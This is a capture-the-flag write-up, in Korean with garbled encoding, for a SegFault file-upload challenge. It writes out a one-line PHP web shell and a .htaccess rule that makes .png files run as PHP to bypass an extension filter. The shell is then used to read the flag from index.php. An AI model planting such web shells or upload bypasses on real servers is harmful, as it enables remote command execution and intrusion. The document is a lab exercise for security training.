[SegFault] (File Vuln)
Get Flag File 2
FLAG ํ์ผ์ ๊ตฌํด๋ผ!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์๋ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ด ์กด์ฌํ๋ค. download.php ํ์ผ์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ์ฌ flag๋ฅผ ์ฐพ์์ผ ํ๋ค.
Vunl Point
๊ฒ์ํ์ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์์ .php ํ์ฅ์๋ฅผ ํํฐ๋งํ๊ณ ์๊ธฐ ๋๋ฌธ์ png ํ์ฅ์๋ก ์ฌ๋ฆฌ๊ณ .htaccess ํ์ผ์ ์ ๋ก๋ํ์ฌ ์คํ๊ฐ๋ฅํ ํ์ฅ๋ช ์ ์์ ํ์ฌ ์ฐํ๋ฅผ ์๋ํ ๊ฒฐ๊ณผ ์ ๋ก๋๊ฐ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ์๋ค.
๋ฌธ์ ํ์ด (ํด๊ฒฐ ๋ฐฉ์)
ํ์ค ์น ์
๊ธฐ๋ณธ์ ์ธ ํ ์ค ์น์์ ๋ค์๊ณผ ๊ฐ๋ค.
<?php
echo system($_GET['cmd']);
?>
ํ์ผ ์ ๋ก๋
web_shell.php -> web_shell.png
์์ ๊ฐ์ด ํ์ฅ์๋ฅผ .png๋ก ์ฌ๋ฆฌ๊ณ , .htaccess ํ์ผ์ ์ ๋ก๋ํ๋ค.
filename = ".htaccess"
AddType application/x-httpd-php .png
์์ ์ฝ๋๋ฅผ ์ด์ฉํ์ฌ png ํ์ผ์ php๋ก์ ์ด์ฉ ๊ฐ๋ฅํ๊ฒ ๋๋ค.
ํ์ผ์ด ์ ๋ก๋๋ ์์น๋ฅผ ํ์ ํ๊ธฐ ์ํด ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์์ ํด๋น ๋งํฌ๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
http://ctf.segfaulthub.com:3185/download_2/download.php?filePath=/gear/web_shell.png
flag ์ฐพ๊ธฐ
http://ctf.segfaulthub.com:3185/download_2/gear/web_shell.png
ํ์ผ์ ์์น๋ ์์ ๊ฐ๊ธฐ ๋๋ฌธ์ ํด๋น ์์น์์ ์น ์์ ์คํํ๋ค.
์์ ๊ฐ์ด ../../index.php๋ฅผ ์์ฒญํ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด index.php์ flag ๊ฐ์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์๊ฐํด ๋ณผ ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ์ ๊ฐ์ด flag๊ฐ์ ์ฐพ๋ ๊ฒฝ์ฐ์ ๋ง์ฝ flag๊ฐ์ ์ผ๋ถ๋ฅผ ์๊ณ ์๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด grep ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๊ฒ์์ด ๊ฐ๋ฅํ๋ค.
grep -r segfault{ ../../
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์